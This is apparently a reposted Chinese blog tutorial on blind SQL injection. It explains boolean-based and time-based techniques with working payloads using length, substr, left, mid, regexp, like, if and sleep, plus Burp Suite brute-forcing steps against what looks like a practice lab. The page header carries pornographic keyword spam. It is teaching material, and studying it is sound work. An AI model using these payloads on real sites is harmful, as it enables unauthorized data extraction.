日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQL注入-盲注(布尔盲注与时间盲注)

發布時間:2023/12/10 数据库 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入-盲注(布尔盲注与时间盲注) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

一、什么是盲注

二、盲注的分類

三、利用盲注的前提條件

四、盲注的優缺點

五、基于布爾類型的盲注

1.什么情況下使用布爾類型的盲注

?2.使用布爾類型盲注的操作步驟:

3.布爾類型盲注的操作過程(以獲取當前數據庫為例)

?4.使用其他函數進行布爾類型的盲注(演示獲取當前數據庫)

4.1? left()函數:

4.2 mid()函數:

4.3 正則表達式 regexp :?

4.4 like函數:

4.5 if語句?:

?六、基于時間類型的盲注

1.何時利用時間類型的盲注:

2.時間類型盲注的注意事項

3.基于時間盲注的演示?


一、什么是盲注

盲注就是在sql注入過程中,sql語句執行select之后,可能由于網站代碼的限制或者apache等解析器配置了不回顯數據,造成在select數據之后不能回顯到前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試,這個判斷的過程稱之為盲注。

通俗的講就是在前端頁面沒有顯示位,不能返回sql語句執行錯誤的信息,輸入正確和錯誤返回的信息都是一致的,這時候我們就需要使用頁面的正常與不正常顯示來進行sql注入。

二、盲注的分類

  • 基于布爾類型的盲注
  • 基于時間類型的盲注

三、利用盲注的前提條件

首先頁面沒有顯示位(如果有顯示位可以選擇union聯合查詢),并且沒有返回sql語句的執行錯誤信息。

四、盲注的優缺點

優點:不需要顯示位和出錯信息。

缺點:速度慢,耗費時間長(可以用到bp等工具)。

五、基于布爾類型的盲注

1.什么情況下使用布爾類型的盲注

  • 沒有返回SQL執行的錯誤信息
  • 錯誤與正確的輸入,返回的結果只有兩種

?錯誤頁面:

正確頁面:

?2.使用布爾類型盲注的操作步驟:

  • 構造目標查詢語句
  • 選擇拼接方式
  • 構造判斷表達式
  • 提取數據長度
  • 提取數據內容
  • 3.布爾類型盲注的操作過程(以獲取當前數據庫為例)

    在SQL注入過程中,由于沒有顯示位于報錯信息,所以會用到截取字符串函數進行數據的提取,所往往需要一個一個字符去猜。

    第一步:獲取當前數據庫的長度

    payload為:lili' and length((select database()))=7--+

    查看返回結果(需要自己試,也可以是用bp工具,也可以使用“>”,“<”符號):

    當輸入其他數字時,查看返回結果:

    ?第二步:獲取當前數據庫庫名(獲取前三個字符,數據量太大,需要用到bp工具)

    開啟burp suite

    payload為:lili' and substr((select database()),1,1)='a'--+

    substr為截取字符串函數,第一個參數為我們的SQL語句,第二個參數1表示從第一個字符開始,第三個參數表示截取一個字符。并且該字符為a。

    通過bp工具暴力破解

    ?

    ?

    ?

    ?通過上述方法即可獲得當前數據庫庫名。

    3.2獲取所有數據庫庫名

    第一步,獲取字符長度

    payload為:name=lili' and ?length((select group_concat(schema_name)from information_schema.schemata))=1--+

    開啟bp

    ?

    ?

    ?第二步,獲取所有數據庫庫名

    這邊可以選擇狙擊手模式(sniper)也可以選擇集束炸彈模式(cluster bomb),狙擊手模式需要手動修改參數,集束炸彈模式對電腦配置要求比較高,此處演示集束炸彈模式

    ?

    ?

    ?

    ?根據破解的結果可以知道相應的答案

    ?4.使用其他函數進行布爾類型的盲注(演示獲取當前數據庫)

    4.1? left()函數:

    語法:left (string,n) string為要截取的字符串,n為長度。

    payload:name=lili' and left((select database()),1)='p'--+

    4.2 mid()函數:

    語法:mid(string, start[, length]) column_name為要提取字符的字段,start為開始截取位置(起始值是1),length為截取的長度(可選,默認余下所有字符)

    char(x)函數:將x的值轉為所對應的字符

    payload:name=lili' and mid((select database()),1,1)=char(112)--+

    4.3 正則表達式 regexp :?

    正則表達式語法: regexp ^[a-z] 表示字符串中第一個字符是在 a-z范圍內。regexp ^a 表示字符串第一個字符是a。regexp ^ab 表示字符串前兩個字符是ab。

    payload:name=lili' and ?(select database()) regexp '^p'--+?

    4.4 like函數:

    語法:Like 'a%'表示字符串第一個字符是a。

    ???????????Like 'ab%'表示字符串前兩個字符是ab。

    %表示為任意值

    payload:name=lili' and ?(select database()) like 'p%'--+

    4.5 if語句?:

    語法:if(判斷條件,正確返回的值,錯誤返回的值)

    注意數據庫中的if與后端if不一樣

    payload:name=lili' and 1= if(((select database())like 'p%'),1,0)--+?

    表示如果if語句中的第一個參數為真,則輸出第一個值1,不為真輸出第二個值0;

    ?六、基于時間類型的盲注

    1.何時利用時間類型的盲注:

    頁面上沒有顯示位和SQL語句執行的錯誤信息,正確執行和錯誤執行的返回界面一樣,此時需要使用時間類型的盲注。

    時間型盲注與布爾型盲注的語句構造過程類似,通常在布爾型盲注表達式的基礎上使用IF語句加入延時語句來構造,由于時間型盲注耗時較大,通常利用腳本工具來執行,在手工利用的過程中較少使用。

    2.時間類型盲注的注意事項

  • 通常使用sleep()等專用的延時函數來進行時間盲注,特殊情況下也可以使用某些耗時較高的操作代替這些函數。
  • 為了提高效率,通常在表達式判斷為真時執行延時語句。
  • 時間盲注語句拼接時無特殊要求,保證語法正確即可。
  • 3.基于時間盲注的演示?

    1.通過時間線判斷sql語句是否執行

    ?2.通過添加sleep函數判斷:

    payload:name=lili'and sleep(5)--+? ? 執行成功時間線為5s

    ?payload:name=lili''and sleep(5)--+? ? 執行失敗時間線為32ms

    3.通過時間盲注獲取當前數據庫

    第一步:

    首先需要獲取數據庫長度

    payload:name=lili'and if(length((select database()))=7,sleep(5),0)--+

    根據時間線判斷可知數據庫的字符長度為7

    ?第二步:

    獲取當前數據庫的庫名

    payload:name=lili'and if(substr((select database()),1,1)='p',sleep(5),0)--+

    根據時間線判斷當前數據庫的庫名的第一個符為‘p’

    ?也可以使用上邊布爾類型盲注的其他函數執行。

    ?

    ?

    ?

    ?

    總結

    以上是生活随笔為你收集整理的SQL注入-盲注(布尔盲注与时间盲注)的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。